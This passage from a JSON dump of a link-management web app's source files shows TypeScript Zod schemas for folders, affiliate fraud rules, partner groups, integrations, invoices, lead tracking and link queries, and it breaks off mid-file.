    "content": "import {\n  FOLDER_USER_ROLE,\n  FOLDER_WORKSPACE_ACCESS,\n} from \"@/lib/folder/constants\";\nimport { FolderAccessLevel } from \"@/lib/types\";\nimport { FolderType, FolderUserRole } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { getPaginationQuerySchema } from \"./misc\";\n\nconst workspaceFolderAccess = z\n  .enum(\n    Object.keys(FOLDER_WORKSPACE_ACCESS) as [\n      FolderAccessLevel,\n      ...FolderAccessLevel[],\n    ],\n  )\n  .nullish()\n  .default(null)\n  .describe(\"The access level of the folder within the workspace.\");\n\nexport const folderUserRoleSchema = z\n  .enum(Object.keys(FOLDER_USER_ROLE) as [FolderUserRole, ...FolderUserRole[]])\n  .describe(\"The role of the user in the folder.\");\n\nexport const FolderSchema = z.object({\n  id: z.string().describe(\"The unique ID of the folder.\"),\n  name: z.string().describe(\"The name of the folder.\"),\n  description: z.string().nullable().describe(\"The description of the folder.\"),\n  type: z.enum(Object.keys(FolderType) as [FolderType, ...FolderType[]]),\n  accessLevel: workspaceFolderAccess,\n  createdAt: z.date().describe(\"The date the folder was created.\"),\n  updatedAt: z.date().describe(\"The date the folder was updated.\"),\n});\n\nexport const FOLDER_MAX_DESCRIPTION_LENGTH = 500;\n\nexport const createFolderSchema = z.object({\n  name: z.string().describe(\"The name of the folder.\").max(190),\n  description: z\n    .string()\n    .max(FOLDER_MAX_DESCRIPTION_LENGTH)\n    .nullish()\n    .describe(\"The description of the folder.\"),\n  accessLevel: workspaceFolderAccess,\n});\n\nexport const FOLDERS_MAX_PAGE_SIZE = 50;\n\nexport const listFoldersQuerySchema = z\n  .object({\n    search: z\n      .string()\n      .optional()\n      .describe(\"The search term to filter the folders by.\"),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: FOLDERS_MAX_PAGE_SIZE }));\n\nexport const updateFolderSchema = createFolderSchema.partial();\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/fraud.ts",
    "content": "import { PAID_TRAFFIC_PLATFORMS } from \"@/lib/api/fraud/constants\";\nimport { FraudEventStatus, FraudRuleType } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { CustomerSchema } from \"./customers\";\nimport { getPaginationQuerySchema } from \"./misc\";\nimport { EnrolledPartnerSchema, PartnerSchema } from \"./partners\";\nimport { UserSchema } from \"./users\";\n\nexport const MAX_RESOLUTION_REASON_LENGTH = 200;\n\nexport enum CustomerEmailMatchType {\n  EXACT = \"exact\",\n  DOMAIN_MATCH = \"domainMatch\",\n  HISTORICAL_DOMAIN_MATCH = \"historicalDomainMatch\",\n}\n\nexport const fraudGroupSchema = z.object({\n  id: z.string(),\n  type: z.enum(FraudRuleType),\n  status: z.enum(FraudEventStatus),\n  resolutionReason: z.string().nullable(),\n  resolvedAt: z.coerce.date().nullable(),\n  lastEventAt: z.coerce.date(),\n  eventCount: z.number(),\n  partner: EnrolledPartnerSchema.pick({\n    id: true,\n    name: true,\n    email: true,\n    image: true,\n    status: true,\n  }),\n  user: UserSchema.nullable(),\n});\n\nexport const fraudGroupQuerySchema = z\n  .object({\n    status: z.enum(FraudEventStatus).optional().default(\"pending\"),\n    type: z.enum(FraudRuleType).optional(),\n    partnerId: z.string().optional(),\n    sortBy: z\n      .enum([\"lastEventAt\", \"type\", \"resolvedAt\"])\n      .default(\"lastEventAt\"),\n    sortOrder: z.enum([\"asc\", \"desc\"]).default(\"desc\"),\n    groupId: z.string().optional(),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: 100 }));\n\nexport const fraudGroupCountQuerySchema = fraudGroupQuerySchema\n  .omit({\n    page: true,\n    pageSize: true,\n    sortBy: true,\n    sortOrder: true,\n  })\n  .extend({\n    groupBy: z.enum([\"partnerId\", \"type\"]).optional(),\n  });\n\nexport const fraudGroupCountSchema = z.union([\n  z.object({\n    type: z.enum(FraudRuleType),\n    _count: z.number(),\n  }),\n\n  z.object({\n    partnerId: z.string(),\n    _count: z.number(),\n  }),\n\n  z.number(),\n]);\n\nexport const fraudEventQuerySchema = z.union([\n  z\n    .object({\n      groupId: z.string(),\n    })\n    .extend(getPaginationQuerySchema({ pageSize: 25 })),\n\n  z\n    .object({\n      customerId: z.string(),\n      type: z.enum(FraudRuleType),\n    })\n    .extend(getPaginationQuerySchema({ pageSize: 25 })),\n]);\n\nexport const fraudEventCountQuerySchema = z.object({\n  groupId: z.string(),\n});\n\nexport const resolveFraudGroupSchema = z.object({\n  workspaceId: z.string(),\n  groupId: z.string(),\n  resolutionReason: z\n    .string()\n    .max(\n      MAX_RESOLUTION_REASON_LENGTH,\n      `Reason must be less than ${MAX_RESOLUTION_REASON_LENGTH} characters`,\n    )\n    .nullable()\n    .default(null),\n});\n\nexport const bulkResolveFraudGroupsSchema = z.object({\n  workspaceId: z.string(),\n  groupIds: z\n    .array(z.string())\n    .min(1)\n    .max(100, \"You can only resolve up to 100 fraud event groups at a time.\"),\n  resolutionReason: z\n    .string()\n    .max(\n      MAX_RESOLUTION_REASON_LENGTH,\n      `Reason must be less than ${MAX_RESOLUTION_REASON_LENGTH} characters`,\n    )\n    .nullable()\n    .default(null),\n});\n\nexport const fraudRuleSchema = z.object({\n  id: z.string().optional(),\n  type: z.enum(FraudRuleType),\n  name: z.string(),\n  description: z.string(),\n  enabled: z.boolean(),\n  config: z.unknown(),\n});\n\nconst toggleOnlyFraudRuleSchema = z\n  .object({\n    resolvePendingEvents: z.boolean().default(false),\n    enabled: z.boolean(),\n  })\n  .optional();\n\nexport const updateFraudRuleSettingsSchema = z.object({\n  // Referral source banned rule\n  referralSourceBanned: z\n    .object({\n      resolvePendingEvents: z.boolean().default(false),\n      enabled: z.boolean(),\n      config: z\n        .object({\n          domains: z\n            .array(z.string())\n            .optional()\n            .transform((domains) => {\n              if (!domains || domains.length === 0) return [];\n\n              // Remove duplicate domains\n              return Array.from(\n                new Set(\n                  domains\n                    .map((d) => d.trim().toLowerCase())\n                    .filter((d) => d !== \"\"),\n                ),\n              );\n            }),\n        })\n        .optional(),\n    })\n    .transform((data) => {\n      // Remove the config if the rule is disabled\n      if (!data.enabled) {\n        return { ...data, config: undefined };\n      }\n\n      // Disable the rule if enabled but has no config\n      if (\n        data.enabled &&\n        (!data.config ||\n          !data.config.domains ||\n          data.config.domains.length === 0)\n      ) {\n        return { ...data, enabled: false, config: undefined };\n      }\n\n      return data;\n    })\n    .optional(),\n\n  // Paid traffic detected rule\n  paidTrafficDetected: z\n    .object({\n      resolvePendingEvents: z.boolean().default(false),\n      enabled: z.boolean(),\n      config: z\n        .object({\n          platforms: z.array(z.enum(PAID_TRAFFIC_PLATFORMS)).optional(),\n          google: z\n            .object({\n              whitelistedCampaignIds: z\n                .array(z.string())\n                .optional()\n                .transform((ids) => {\n                  if (!ids || ids.length === 0) {\n                    return [];\n                  }\n\n                  return Array.from(\n                    new Set(\n                      ids.map((id) => id.trim()).filter((id) => id !== \"\"),\n                    ),\n                  );\n                }),\n            })\n            .optional(),\n        })\n        .optional(),\n    })\n    .transform((data) => {\n      // Remove the config if the rule is disabled\n      if (!data.enabled) {\n        return { ...data, config: undefined };\n      }\n\n      // Disable the rule if enabled but has no config\n      if (\n        data.enabled &&\n        (!data.config ||\n          !data.config.platforms ||\n          data.config.platforms.length === 0)\n      ) {\n        return { ...data, enabled: false, config: undefined };\n      }\n\n      const platforms = data.config?.platforms ?? [];\n      const hasGoogle = platforms.includes(\"google\");\n      const googleConfig = data.config?.google;\n\n      if (!hasGoogle && googleConfig?.whitelistedCampaignIds?.length) {\n        const { google: _google, ...configWithoutGoogle } = data.config ?? {};\n\n        return {\n          ...data,\n          config: { ...configWithoutGoogle, platforms },\n        };\n      }\n\n      return data;\n    })\n    .optional(),\n\n  // Toggle-only rules (no additional config beyond enabled/disabled)\n  customerEmailMatch: toggleOnlyFraudRuleSchema,\n  customerEmailSuspiciousDomain: toggleOnlyFraudRuleSchema,\n  partnerCrossProgramBan: toggleOnlyFraudRuleSchema,\n  partnerDuplicatePayoutMethod: toggleOnlyFraudRuleSchema,\n  partnerFraudReport: toggleOnlyFraudRuleSchema,\n});\n\nconst baseFraudEventSchema = z.object({\n  createdAt: z.date(),\n  partner: PartnerSchema.pick({\n    id: true,\n    name: true,\n    email: true,\n    image: true,\n  }),\n});\n\nexport const fraudEventSchemas = {\n  referralSourceBanned: baseFraudEventSchema.extend({\n    customer: CustomerSchema.pick({\n      id: true,\n      name: true,\n      email: true,\n      avatar: true,\n    }),\n    metadata: z\n      .object({\n        source: z.string(),\n      })\n      .nullable(),\n  }),\n\n  paidTrafficDetected: baseFraudEventSchema.extend({\n    customer: CustomerSchema.pick({\n      id: true,\n      name: true,\n      email: true,\n      avatar: true,\n    }),\n    metadata: z\n      .object({\n        source: z.string(),\n        url: z.string().nullable().default(null),\n      })\n      .nullable(),\n  }),\n\n  customerEmailMatch: baseFraudEventSchema.extend({\n    customer: CustomerSchema.pick({\n      id: true,\n      name: true,\n      email: true,\n      avatar: true,\n    }),\n    metadata: z\n      .object({\n        matchType: z.enum(CustomerEmailMatchType),\n      })\n      .nullable()\n      .optional(),\n  }),\n\n  customerEmailSuspiciousDomain: baseFraudEventSchema.extend({\n    customer: CustomerSchema.pick({\n      id: true,\n      name: true,\n      email: true,\n      avatar: true,\n    }),\n  }),\n\n  partnerCrossProgramBan: baseFraudEventSchema.extend({\n    metadata: z.object({\n      bannedAt: z.string(),\n      bannedReason: z.string(),\n    }),\n  }),\n\n  partnerDuplicatePayoutMethod: baseFraudEventSchema,\n\n  partnerFraudReport: baseFraudEventSchema,\n};\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/group-bounties.ts",
    "content": "import { BountyType } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\n\nexport const GroupBountySummarySchema = z.object({\n  id: z.string(),\n  name: z.string().default(\"Untitled bounty\"),\n  type: z.enum(BountyType),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/group-with-program.ts",
    "content": "import { GroupWithFormDataSchema } from \"./groups\";\nimport { ProgramSchema } from \"./programs\";\n\n// we're keeping this in a separate file to avoid circular dependency\nexport const GroupWithProgramSchema = GroupWithFormDataSchema.extend({\n  program: ProgramSchema,\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/groups.ts",
    "content": "import { isValidDomainFormatWithLocalhost } from \"@/lib/api/domains/is-valid-domain\";\nimport { PAYOUT_HOLDING_PERIOD_DAYS } from \"@/lib/constants/payouts\";\nimport { RESOURCE_COLORS } from \"@/ui/colors\";\nimport { PartnerLinkStructure } from \"@dub/prisma/client\";\nimport { validSlugRegex } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport * as z from \"zod/v4\";\nimport { DiscountSchema } from \"./discount\";\nimport { GroupBountySummarySchema } from \"./group-bounties\";\nimport { booleanQuerySchema, getPaginationQuerySchema } from \"./misc\";\nimport { programApplicationFormSchema } from \"./program-application-form\";\nimport { programLanderSchema } from \"./program-lander\";\nimport { RewardSchema } from \"./rewards\";\nimport { centsSchemaWithDefault, parseUrlSchema } from \"./utils\";\nimport { UTMTemplateSchema } from \"./utm\";\nimport { workflowConditionSchema } from \"./workflows\";\n\nexport const DEFAULT_PARTNER_GROUP = {\n  name: \"Default Group\",\n  slug: \"default\",\n  color: null,\n} as const;\n\n// max number of partnerGroupDefaultLinks per group\nexport const MAX_DEFAULT_LINKS_PER_GROUP = 5;\n\n// for the maxPartnerLinks setting (alongside additionalLinks)\nexport const DEFAULT_ADDITIONAL_PARTNER_LINKS = 10;\nexport const MAX_ADDITIONAL_PARTNER_LINKS = 100;\n\nexport const GROUPS_MAX_PAGE_SIZE = 100;\n\nexport const additionalPartnerLinkSchema = z.object({\n  domain: z\n    .string()\n    .refine((v) => isValidDomainFormatWithLocalhost(v), {\n      message: \"Please enter a valid domain (eg: acme.com or localhost:3000).\",\n    })\n    .transform((v) => v.toLowerCase()),\n  path: z\n    .string()\n    .transform((v) => v.toLowerCase())\n    .optional()\n    .default(\"\"),\n  validationMode: z.enum([\n    \"domain\", // domain match (e.g. if URL is example.com/path, example.com and example.com/another-path are allowed)\n    \"exact\", // exact match (e.g. if URL is example.com/path, only example.com/path is allowed)\n  ]),\n});\n\nexport const additionalPartnerLinkSchemaOptionalPath =\n  additionalPartnerLinkSchema.extend({\n    path: z.string().optional(),\n  });\n\n// This is the standard response we send for all /api/groups/** endpoints\nexport const GroupSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  slug: z.string(),\n  color: z.string().nullable(),\n  logo: z.string().nullable(),\n  wordmark: z.string().nullable(),\n  brandColor: z.string().nullable(),\n  holdingPeriodDays: z.number(),\n  autoApprovePartnersEnabledAt: z.coerce.date().nullish(),\n  clickReward: RewardSchema.nullish(),\n  leadReward: RewardSchema.nullish(),\n  saleReward: RewardSchema.nullish(),\n  discount: DiscountSchema.nullish(),\n  utmTemplate: UTMTemplateSchema.nullish(),\n  additionalLinks: z.array(additionalPartnerLinkSchema).nullable(),\n  maxPartnerLinks: z.number(),\n  linkStructure: z.enum(PartnerLinkStructure),\n  moveRules: z.array(workflowConditionSchema).nullish().default(null),\n});\n\nexport const GroupWithFormDataSchema = GroupSchema.extend({\n  applicationFormData: programApplicationFormSchema.nullable(),\n  applicationFormPublishedAt: z.date().nullable(),\n  landerData: programLanderSchema.nullable(),\n  landerPublishedAt: z.date().nullable(),\n  bounties: z.array(GroupBountySummarySchema).optional(),\n});\n\nexport const GroupSchemaExtended = GroupSchema.extend({\n  totalPartners: z.number().default(0),\n  totalClicks: z.number().default(0),\n  totalLeads: z.number().default(0),\n  totalSales: z.number().default(0),\n  totalSaleAmount: centsSchemaWithDefault,\n  totalConversions: z.number().default(0),\n  totalCommissions: centsSchemaWithDefault,\n  netRevenue: centsSchemaWithDefault,\n});\n\nexport const PartnerProgramGroupSchema = GroupWithFormDataSchema.pick({\n  id: true,\n  slug: true,\n  applicationFormData: true,\n});\n\nexport const createOrUpdateDefaultLinkSchema = z.object({\n  domain: z.string().toLowerCase(),\n  url: parseUrlSchema,\n});\n\nexport const createGroupSchema = z.object({\n  name: z\n    .string()\n    .trim()\n    .min(1, \"Name is required\")\n    .max(190, \"Name is too long. Max 190 characters\"),\n  slug: z\n    .string()\n    .trim()\n    .min(1)\n    .max(100)\n    .refine(\n      (val) => {\n        const trimmed = val.trim();\n        return validSlugRegex.test(trimmed) && !/^grp_/i.test(trimmed);\n      },\n      {\n        message: \"Invalid slug format.\",\n      },\n    )\n    .transform((val) => slugify(val)),\n  color: z.enum(RESOURCE_COLORS).nullable(),\n});\n\nexport const updateGroupSchema = createGroupSchema.partial().extend({\n  additionalLinks: z\n    .array(additionalPartnerLinkSchema)\n    .max(MAX_ADDITIONAL_PARTNER_LINKS)\n    .optional(),\n  maxPartnerLinks: z.number().optional(),\n  utmTemplateId: z.string().optional(),\n  linkStructure: z.enum(PartnerLinkStructure).optional(),\n  applicationFormData: programApplicationFormSchema.optional(),\n  landerData: programLanderSchema.optional(),\n  holdingPeriodDays: z.coerce\n    .number()\n    .refine(\n      (val) => val === undefined || PAYOUT_HOLDING_PERIOD_DAYS.includes(val),\n      {\n        message: `Holding period must be ${PAYOUT_HOLDING_PERIOD_DAYS.join(\", \")} days`,\n      },\n    )\n    .optional(),\n  autoApprovePartners: z.coerce.boolean().optional(),\n  updateAutoApprovePartnersForAllGroups: z.coerce.boolean().optional(),\n  updateHoldingPeriodDaysForAllGroups: z.coerce.boolean().optional(),\n  moveRules: z.array(workflowConditionSchema).optional(),\n});\n\nexport const PartnerGroupDefaultLinkSchema = z.object({\n  id: z.string(),\n  domain: z.string(),\n  url: parseUrlSchema,\n});\n\nexport const getGroupsQuerySchema = z\n  .object({\n    search: z.string().optional(),\n    groupIds: z\n      .union([z.string(), z.array(z.string())])\n      .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n      .optional(),\n    sortBy: z\n      .enum([\n        \"createdAt\",\n        \"totalPartners\",\n        \"totalClicks\",\n        \"totalLeads\",\n        \"totalSales\",\n        \"totalSaleAmount\",\n        \"totalConversions\",\n        \"totalCommissions\",\n        // \"netRevenue\", // TODO: add back when we can sort by this again\n      ])\n      .default(\"totalSaleAmount\"),\n    sortOrder: z.enum([\"asc\", \"desc\"]).default(\"desc\"),\n    includeExpandedFields: booleanQuerySchema.optional(),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: GROUPS_MAX_PAGE_SIZE }));\n\nexport const getGroupsCountQuerySchema = z.object({\n  search: z.string().optional(),\n});\n\nexport const groupRulesSchema = z.array(\n  GroupSchema.pick({ id: true, name: true, moveRules: true }),\n);\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/import-csv.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const linkMappingSchema = z.object({\n  link: z.string(),\n  url: z.string(),\n  createdAt: z.string().optional(),\n  tags: z.string().optional(),\n  title: z.string().optional(),\n  description: z.string().optional(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/import-error-log.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const importErrorLogSchema = z.object({\n  workspace_id: z.string(),\n  import_id: z.string(),\n  source: z.enum([\"rewardful\", \"tolt\", \"partnerstack\", \"firstpromoter\"]),\n  entity: z.enum([\"partner\", \"link\", \"customer\", \"commission\"]),\n  entity_id: z.string(),\n  code: z.enum([\n    \"INACTIVE_PARTNER\",\n    \"PARTNER_NOT_FOUND\",\n    \"LINK_NOT_FOUND\",\n    \"CUSTOMER_NOT_FOUND\",\n    \"CUSTOMER_EMAIL_NOT_FOUND\",\n    \"LEAD_NOT_FOUND\",\n    \"CLICK_NOT_FOUND\",\n    \"STRIPE_CUSTOMER_NOT_FOUND\",\n    \"TRANSACTION_NOT_FOUND\",\n    \"SELF_REFERRAL\",\n    \"NOT_SUPPORTED_UNIT\",\n  ]),\n  message: z.string(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/integration.ts",
    "content": "import { R2_URL } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { uploadedImageSchema } from \"./misc\";\n\nexport const integrationSchema = z.object({\n  id: z.string(),\n  projectId: z.string(),\n  name: z.string(),\n  slug: z.string(),\n  description: z.string().nullish(),\n  readme: z.string().nullish(),\n  developer: z.string(),\n  website: z.string(),\n  logo: z.string().nullish(),\n  screenshots: z.array(z.string()).nullish(),\n  installUrl: z.string().nullish(),\n  verified: z.boolean(),\n  guideUrl: z.string().nullish(),\n  comingSoon: z.boolean().nullish(),\n  createdAt: z.date(),\n  updatedAt: z.date(),\n  installations: z.number().default(0),\n});\n\nexport const createIntegrationSchema = z.object({\n  name: z.string().min(1).max(100),\n  slug: z.string().min(1).max(100),\n  developer: z.string().min(1).max(100),\n  website: z\n    .url({\n      message: \"website must be a valid URL\",\n    })\n    .max(100),\n  installUrl: z\n    .url({\n      message: \"installUrl must be a valid URL\",\n    })\n    .nullish(),\n  logo: uploadedImageSchema.nullish().describe(\"The logo of the integration.\"),\n  description: z\n    .string()\n    .max(120, {\n      message: \"must be less than 120 characters\",\n    })\n    .nullish(),\n  readme: z\n    .string()\n    .max(1000, {\n      message: \"must be less than 1000 characters\",\n    })\n    .nullish(),\n  screenshots: z\n    .array(z.string())\n    .max(6, {\n      message: \"up to 6 screenshots are allowed\",\n    })\n    .transform((screenshots) =>\n      screenshots.map((screenshot) =>\n        screenshot.startsWith(R2_URL) ? screenshot : `${R2_URL}/${screenshot}`,\n      ),\n    )\n    .default([]),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/invites.ts",
    "content": "import { WorkspaceRole } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\n\nexport const inviteTeammatesSchema = z.object({\n  teammates: z.array(\n    z.object({\n      email: z.email(),\n      role: z.enum(WorkspaceRole),\n    }),\n  ),\n});\n\nexport type Invite = z.infer<typeof inviteTeammatesSchema>[\"teammates\"][number];\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/invoices.ts",
    "content": "import { InvoiceStatus, PaymentMethod } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\n\nexport const InvoiceSchema = z.object({\n  id: z.string(),\n  total: z.number(),\n  status: z.enum(InvoiceStatus).optional(),\n  paymentMethod: z.enum(PaymentMethod).nullable().optional(),\n  createdAt: z.date(),\n  description: z.string().default(\"Dub payout\"),\n  pdfUrl: z.string().nullable(),\n  failedReason: z.string().nullish().default(null),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/leads.ts",
    "content": "import * as z from \"zod/v4\";\nimport { clickEventSchema, clickEventSchemaTB } from \"./clicks\";\nimport { CustomerSchema } from \"./customers\";\nimport { commonDeprecatedEventFields } from \"./deprecated\";\nimport { linkEventSchema, LinkSchema } from \"./links\";\n\nexport const trackLeadRequestSchema = z.object({\n  clickId: z\n    .string()\n    .trim()\n    .describe(\n      \"The unique ID of the click that the lead conversion event is attributed to. You can read this value from `dub_id` cookie. [For deferred lead tracking]: If an empty string is provided, Dub will try to find an existing customer with the provided `customerExternalId` and use the `clickId` from the customer if found.\",\n    ),\n  eventName: z\n    .string()\n    .trim()\n    .min(1, \"eventName is required\")\n    .max(255)\n    .describe(\n      \"The name of the lead event to track. Can also be used as a unique identifier to associate a given lead event for a customer for a subsequent sale event (via the `leadEventName` prop in `/track/sale`).\",\n    )\n    .meta({ example: \"Sign up\" }),\n  customerExternalId: z\n    .string()\n    .trim()\n    .min(1, \"customerExternalId is required\")\n    .max(100)\n    .describe(\n      \"The unique ID of the customer in your system. Will be used to identify and attribute all future events to this customer.\",\n    ),\n  customerName: z\n    .string()\n    .max(100)\n    .nullish()\n    .default(null)\n    .describe(\n      \"The name of the customer. If not passed, a random name will be generated (e.g. “Big Red Caribou”).\",\n    ),\n  customerEmail: z\n    .email()\n    .max(100)\n    .nullish()\n    .default(null)\n    .describe(\"The email address of the customer.\"),\n  customerAvatar: z\n    .string()\n    .nullish()\n    .default(null)\n    .describe(\"The avatar URL of the customer.\"),\n  mode: z\n    .enum([\"async\", \"wait\", \"deferred\"])\n    .default(\"async\")\n    .describe(\n      \"The mode to use for tracking the lead event. `async` will not block the request; `wait` will block the request until the lead event is fully recorded in Dub; `deferred` will defer the lead event creation to a subsequent request.\",\n    ),\n  eventQuantity: z\n    .number()\n    .nullish()\n    .describe(\n      \"The numerical value associated with this lead event (e.g., number of provisioned seats in a free trial). If defined as N, the lead event will be tracked N times.\",\n    ),\n  metadata: z\n    .record(z.string(), z.any())\n    .nullish()\n    .default(null)\n    .refine((val) => !val || JSON.stringify(val).length <= 10000, {\n      message: \"Metadata must be less than 10,000 characters when stringified\",\n    })\n    .describe(\n      \"Additional metadata to be stored with the lead event. Max 10,000 characters.\",\n    ),\n});\n\nexport const trackLeadResponseSchema = z.object({\n  click: z.object({\n    id: z.string(),\n  }),\n  link: LinkSchema.pick({\n    id: true,\n    domain: true,\n    key: true,\n    shortLink: true,\n    url: true,\n    partnerId: true,\n    programId: true,\n    tenantId: true,\n    externalId: true,\n  }).nullable(),\n  customer: z.object({\n    name: z.string().nullable(),\n    email: z.string().nullable(),\n    avatar: z.string().nullable(),\n    externalId: z.string().nullable(),\n  }),\n});\n\nexport const leadEventSchemaTB = clickEventSchemaTB\n  .omit({ timestamp: true }) // remove timestamp from lead data because tinybird will generate its own at ingestion time\n  .extend({\n    event_id: z.string(),\n    event_name: z.string(),\n    customer_id: z.string().default(\"\"),\n    metadata: z.string().default(\"\"),\n  });\n\n// response from tinybird endpoint\nexport const leadEventSchemaTBEndpoint = z.object({\n  event: z.literal(\"lead\"),\n  timestamp: z.string(),\n  event_id: z.string(),\n  event_name: z.string(),\n  customer_id: z.string(),\n  click_id: z.string(),\n  link_id: z.string(),\n  url: z.string(),\n  continent: z.string().nullable(),\n  country: z.string().nullable(),\n  city: z.string().nullable(),\n  region: z.string().nullable(),\n  region_processed: z.string().nullable(),\n  device: z.string().nullable(),\n  browser: z.string().nullable(),\n  os: z.string().nullable(),\n  trigger: z.string().nullish(), // backwards compatibility\n  referer: z.string().nullable(),\n  referer_url: z.string().nullable(),\n  referer_url_processed: z.string().nullable(),\n  qr: z.number().nullable(),\n  ip: z.string().nullable(),\n  metadata: z.string().nullish(),\n});\n\n// response from dub api\nexport const leadEventResponseSchema = z\n  .object({\n    event: z.literal(\"lead\"),\n    timestamp: z.coerce.string(),\n    // core event fields\n    eventId: z.string(),\n    eventName: z.string(),\n    metadata: z.any().nullish(),\n    // nested objects\n    click: clickEventSchema,\n    link: linkEventSchema,\n    customer: CustomerSchema,\n  })\n  .extend(commonDeprecatedEventFields.shape)\n  .meta({ title: \"LeadEvent\" });\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/links.ts",
    "content": "import { ErrorCode } from \"@/lib/api/error-codes\";\nimport { DUB_FOUNDING_DATE, formatDate, validDomainRegex } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport {\n  base64ImageSchema,\n  booleanQuerySchema,\n  getCursorPaginationQuerySchema,\n  getPaginationQuerySchema,\n  publicHostedImageSchema,\n} from \"./misc\";\nimport { LinkTagSchema } from \"./tags\";\nimport {\n  centsSchemaWithDefault,\n  DESTINATION_URL_MAX_LENGTH,\n  parseDateSchema,\n  parseUrlSchema,\n  parseUrlSchemaAllowEmpty,\n} from \"./utils\";\n\nexport const getUrlQuerySchema = z.object({\n  url: parseUrlSchema,\n});\n\nexport const getDomainQuerySchema = z.object({\n  domain: z\n    .string()\n    .min(1, \"Missing required `domain` query parameter.\")\n    .refine((v) => validDomainRegex.test(v), { message: \"Invalid domain\" }),\n});\n\nexport const MIN_TEST_PERCENTAGE = 10;\nexport const MAX_TEST_COUNT = 4;\nexport const LINKS_MAX_PAGE_SIZE = 100;\n\nexport const ABTestVariantsSchema = z\n  .array(\n    z.object({\n      url: z.string(),\n      percentage: z\n        .number()\n        .min(MIN_TEST_PERCENTAGE)\n        .max(100 - MIN_TEST_PERCENTAGE),\n    }),\n  )\n  .min(2)\n  .max(MAX_TEST_COUNT)\n  .describe(\n    \"An array of A/B test URLs and the percentage of traffic to send to each URL.\",\n  )\n  .meta({\n    example: [\n      {\n        url: \"https://example.com/variant-1\",\n        percentage: 50,\n      },\n      {\n        url: \"https://example.com/variant-2\",\n        percentage: 50,\n      },\n    ],\n  });\n\nconst LinksQuerySchema = z.object({\n  domain: z\n    .string()\n    .optional()\n    .describe(\n      \"The domain to filter the links by. E.g. `ac.me`. If not provided, all links for the workspace will be returned.\",\n    ),\n  tagId: z\n    .string()\n    .optional()\n    .describe(\n      \"Deprecated: Use `tagIds` instead. The tag ID to filter the links by.\",\n    )\n    .meta({ deprecated: true }),\n  tagIds: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional()\n    .describe(\"The tag IDs to filter the links by.\")\n    .meta({\n      param: {\n        style: \"form\",\n        explode: false,\n      },\n      anyOf: [\n        {\n          type: \"string\",\n        },\n        {\n          type: \"array\",\n          items: {\n            type: \"string\",\n          },\n        },\n      ],\n    }),\n  tagNames: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional()\n    .describe(\n      \"The unique name of the tags assigned to the short link (case insensitive).\",\n    )\n    .meta({\n      param: {\n        style: \"form\",\n        explode: false,\n      },\n      anyOf: [\n        {\n          type: \"string\",\n        },\n        {\n          type: \"array\",\n          items: {\n            type: \"string\",\n          },\n        },\n      ],\n    }),\n  folderId: z\n    .string()\n    .optional()\n    .transform((v) => (v === \"unsorted\" ? null : v))\n    .describe(\"The folder ID to filter the links by.\"),\n  search: z\n    .string()\n    .optional()\n    .describe(\n      \"The search term to filter the links by. The search term will be matched against the short link slug and the destination url.\",\n    ),\n  userId: z.string().optional().describe(\"The user ID to filter the links by.\"),\n  tenantId: z\n    .string()\n    .optional()\n    .describe(\n      \"The ID of the tenant that created the link inside your system. If set, will only return links for the specified tenant.\",\n    ),\n  showArchived: booleanQuerySchema\n    .optional()\n    .default(false)\n    .describe(\n      \"Whether to include archived links in the response. Defaults to `false` if not provided.\",\n    ),\n  withTags: booleanQuerySchema\n    .optional()\n    .default(false)\n    .describe(\n      \"DEPRECATED. Filter for links that have at least one tag assigned to them.\",\n    )\n    .meta({ deprecated: true }),\n});\n\nconst sortBy = z\n  .enum([\"createdAt\", \"clicks\", \"saleAmount\", \"lastClicked\"])\n  .optional()\n  .default(\"createdAt\")\n  .describe(\"The field to sort the links by. The default is `createdAt`.\");\n\nexport const getLinksQuerySchemaBase = LinksQuerySchema.extend({\n  sortBy,\n  sortOrder: z\n    .enum([\"asc\", \"desc\"])\n    .optional()\n    .default(\"desc\")\n    .describe(\"The sort order. The default is `desc`.\"),\n  sort: sortBy\n    .meta({ deprecated: true })\n    .describe(\"DEPRECATED. Use `sortBy` instead.\"),\n}).extend({\n  ...getCursorPaginationQuerySchema({\n    example: \"link_1KAP4CDPBSVMMBMH9XX3YZZ0Z...\",\n  }),\n  ...getPaginationQuerySchema({\n    pageSize: LINKS_MAX_PAGE_SIZE,\n    deprecated: true,\n  }),\n});\n\nexport const getLinksCountQuerySchema = LinksQuerySchema.extend({\n  groupBy: z\n    .union([\n      z.literal(\"domain\"),\n      z.literal(\"tagId\"),\n      z.literal(\"userId\"),\n      z.literal(\"folderId\"),\n    ])\n    .optional()\n    .describe(\"The field to group the links by.\"),\n});\n\nexport const exportLinksColumns = [\n  {\n    id: \"link\",\n    label: \"Short link\",\n    default: true,\n    transform: (value: unknown) => String(value ?? \"\"),\n  },\n  {\n    id: \"url\",\n    label: \"Destination URL\",\n    default: true,\n    transform: (value: unknown) => String(value ?? \"\"),\n  },\n  {\n    id: \"clicks\",\n    label: 